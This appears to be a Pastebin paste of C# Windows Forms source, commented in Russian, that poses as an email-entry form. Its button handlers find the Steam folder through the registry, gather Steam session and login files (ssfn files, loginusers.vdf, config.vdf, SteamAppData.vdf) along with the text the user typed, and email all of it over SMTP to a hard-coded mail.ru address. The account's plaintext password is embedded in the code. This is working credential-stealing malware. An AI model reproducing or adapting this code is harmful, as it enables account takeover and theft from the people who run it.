Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.ComponentModel;
- using System.Windows.Forms;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.IO;
- using System.Net;
- using System.Net.Mail;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.Diagnostics;
- using Microsoft.Win32;
- using System.Text.RegularExpressions;
- using System.Net.Mime;
- using System.Text.RegularExpressions;
- namespace WindowsFormsApplication1
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- }
- private void button1_Click(object sender, EventArgs e)
- {
- if (!Regex.IsMatch(textBox1.Text, @"^[a-z,A-Z]{1,10}((-|.)\w+)*@\w+.\w{3}$"))
- MessageBox.Show("Not valid email.");
- else
- {
- MessageBox.Show(" valid email.");
- }
- }
- private void button2_Click(object sender, EventArgs e)
- {
- string steampath = "";
- try
- {
- RegistryKey sk1 = Registry.CurrentUser.OpenSubKey(@"Software\Valve\Steam");
- steampath = (string)sk1.GetValue("SteamPath");
- }
- catch { }
- if (steampath == "")
- {
- Process.GetCurrentProcess().Kill();
- }
- string line;
- var t = steampath;
- string a = t + @"\config\loginusers.vdf";
- List<string> accounts = new List<string>();
- using (StreamReader sr = new StreamReader(a, Encoding.Default))
- {
- while ((line = sr.ReadLine()) != null)
- {
- if (line.Contains("7656119"))
- {
- char[] deaf = { '"' };
- accounts.Add(Regex.Replace(line, "[" + string.Join("", deaf) + "]", "").Trim());
- }
- }
- }
- /*Подключение к почте*/
- var fromAddress = new MailAddress("razilov2015@mail.ru");
- string fromPassword = "ab1123123196";
- var smtp = new SmtpClient
- {
- /*SMTP Данные*/
- Host = "smtp.mail.ru",
- Port = 587,
- EnableSsl = true,
- DeliveryMethod = SmtpDeliveryMethod.Network,
- UseDefaultCredentials = false,
- Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
- };
- /*Отправка*/
- /*Чек ip*/
- var message = new MailMessage("razilov2015@mail.ru", "razilov2015@mail.ru"); //Куда отправлять
- // message.Subject = "IP: " + ip + " Имя пользователя: " + System.Environment.UserName;
- // message.Body = "PC: " + System.Environment.UserDomainName;
- message.Body = "PC: " + textBox1.Text +" " + textBox2.Text + " | " + textBox3.Text + " " + textBox4.Text;
- /*Файлы - отправка*/
- Directory.GetFiles(t + @"\config", "SteamAppData.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
- Directory.GetFiles(t, "ssfn*", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
- Directory.GetFiles(t + @"\config", "loginusers.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
- Directory.GetFiles(t + @"\config", "config.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
- message.SubjectEncoding = Encoding.GetEncoding(1251);
- message.BodyEncoding = Encoding.GetEncoding(1251);
- smtp.Send(message);
- /*Концовка*/
- //Console.ForegroundColor = ConsoleColor.Red;
- //Console.WriteLine("Что бы выйти нажмите на любую кнопку...");
- //Console.ReadKey();
- }
- private void button3_Click(object sender, EventArgs e)
- {
- if (!Regex.IsMatch(textBox3.Text, @"^[a-z,A-Z]{1,10}((-|.)\w+)*@\w+.\w{3}$"))
- MessageBox.Show("Введите корректный E-Mail");
- else
- {
- // если почта валид
- // MessageBox.Show(" valid email.");
- string steampath = "";
- try
- {
- RegistryKey sk1 = Registry.CurrentUser.OpenSubKey(@"Software\Valve\Steam");
- steampath = (string)sk1.GetValue("SteamPath");
- }
- catch { }
- if (steampath == "")
- {
- Process.GetCurrentProcess().Kill();
- }
- string line;
- var t = steampath;
- string a = t + @"\config\loginusers.vdf";
- List<string> accounts = new List<string>();
- using (StreamReader sr = new StreamReader(a, Encoding.Default))
- {
- while ((line = sr.ReadLine()) != null)
- {
- if (line.Contains("7656119"))
- {
- char[] deaf = { '"' };
- accounts.Add(Regex.Replace(line, "[" + string.Join("", deaf) + "]", "").Trim());
- }
- }
- }
- /*Подключение к почте*/
- var fromAddress = new MailAddress("razilov2015@mail.ru");
- string fromPassword = "a23123196";
- var smtp = new SmtpClient
- {
- /*SMTP Данные*/
- Host = "smtp.mail.ru",
- Port = 587,
- EnableSsl = true,
- DeliveryMethod = SmtpDeliveryMethod.Network,
- UseDefaultCredentials = false,
- Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
- };
- /*Отправка*/
- var message = new MailMessage("razilov2015@mail.ru", "razilov2015@mail.ru"); //Куда отправлять
- // message.Subject = "IP: " + ip + " Имя пользователя: " + System.Environment.UserName;
- // message.Body = "PC: " + System.Environment.UserDomainName;
- message.Body = "PC: " + textBox1.Text + " " + textBox2.Text + " | " + textBox3.Text + " " + textBox4.Text;
- /*Файлы - отправка*/
- Directory.GetFiles(t + @"\config", "SteamAppData.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
- Directory.GetFiles(t, "ssfn*", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
- Directory.GetFiles(t + @"\config", "loginusers.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
- Directory.GetFiles(t + @"\config", "config.vdf", SearchOption.AllDirectories).ToList().ForEach(name => message.Attachments.Add(new Attachment(name, MediaTypeNames.Text.Plain)));
- message.SubjectEncoding = Encoding.GetEncoding(1251);
- message.BodyEncoding = Encoding.GetEncoding(1251);
- smtp.Send(message);
- /*Концовка*/
- //Console.ForegroundColor = ConsoleColor.Red;
- //Console.WriteLine("Что бы выйти нажмите на любую кнопку...");
- //Console.ReadKey();
- }
- }
- private void textBox2_KeyPress(object sender, KeyPressEventArgs e)
- {
- if ((e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z') || (e.KeyChar >= '0' && e.KeyChar <= '9') || e.KeyChar == '_' || e.KeyChar == '!' || e.KeyChar == '@' || e.KeyChar == '#' || e.KeyChar == '$' || e.KeyChar == '%' || e.KeyChar == '^' || e.KeyChar == '&' || e.KeyChar == '*' || e.KeyChar == '(' || e.KeyChar == ')' || e.KeyChar == '-' || e.KeyChar == '=' || e.KeyChar == '+' || e.KeyChar == '?' || e.KeyChar == '.' || e.KeyChar == ',' || e.KeyChar == (char)Keys.Back)
- {
- }
- else
- {
- e.Handled = true;
- }
- }
- private void textBox1_KeyPress(object sender, KeyPressEventArgs e)
- {
- if ((e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z') || (e.KeyChar >= '0' && e.KeyChar <= '9') || e.KeyChar == '_' || e.KeyChar == '!' || e.KeyChar == '@' || e.KeyChar == '#' || e.KeyChar == '$' || e.KeyChar == '%' || e.KeyChar == '^' || e.KeyChar == '&' || e.KeyChar == '*' || e.KeyChar == '(' || e.KeyChar == ')' || e.KeyChar == '-' || e.KeyChar == '=' || e.KeyChar == '+' || e.KeyChar == '?' || e.KeyChar == '.' || e.KeyChar == ',' || e.KeyChar == (char)Keys.Back)
- {
- }
- else
- {
- e.Handled = true;
- }
- }
- private void textBox3_KeyPress(object sender, KeyPressEventArgs e)
- {
- if ((e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z') || (e.KeyChar >= '0' && e.KeyChar <= '9') || e.KeyChar == '_' || e.KeyChar == '!' || e.KeyChar == '@' || e.KeyChar == '#' || e.KeyChar == '$' || e.KeyChar == '%' || e.KeyChar == '^' || e.KeyChar == '&' || e.KeyChar == '*' || e.KeyChar == '(' || e.KeyChar == ')' || e.KeyChar == '-' || e.KeyChar == '=' || e.KeyChar == '+' || e.KeyChar == '?' || e.KeyChar == '.' || e.KeyChar == ',' || e.KeyChar == (char)Keys.Back)
- {
- }
- else
- {
- e.Handled = true;
- }
- }
- private void textBox4_KeyPress(object sender, KeyPressEventArgs e)
- {
- if ((e.KeyChar >= 'A' && e.KeyChar <= 'Z') || (e.KeyChar >= 'a' && e.KeyChar <= 'z') || (e.KeyChar >= '0' && e.KeyChar <= '9') || e.KeyChar == '_' || e.KeyChar == '!' || e.KeyChar == '@' || e.KeyChar == '#' || e.KeyChar == '$' || e.KeyChar == '%' || e.KeyChar == '^' || e.KeyChar == '&' || e.KeyChar == '*' || e.KeyChar == '(' || e.KeyChar == ')' || e.KeyChar == '-' || e.KeyChar == '=' || e.KeyChar == '+' || e.KeyChar == '?' || e.KeyChar == '.' || e.KeyChar == ',' || e.KeyChar == (char)Keys.Back)
- {
- }
- else
- {
- e.Handled = true;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement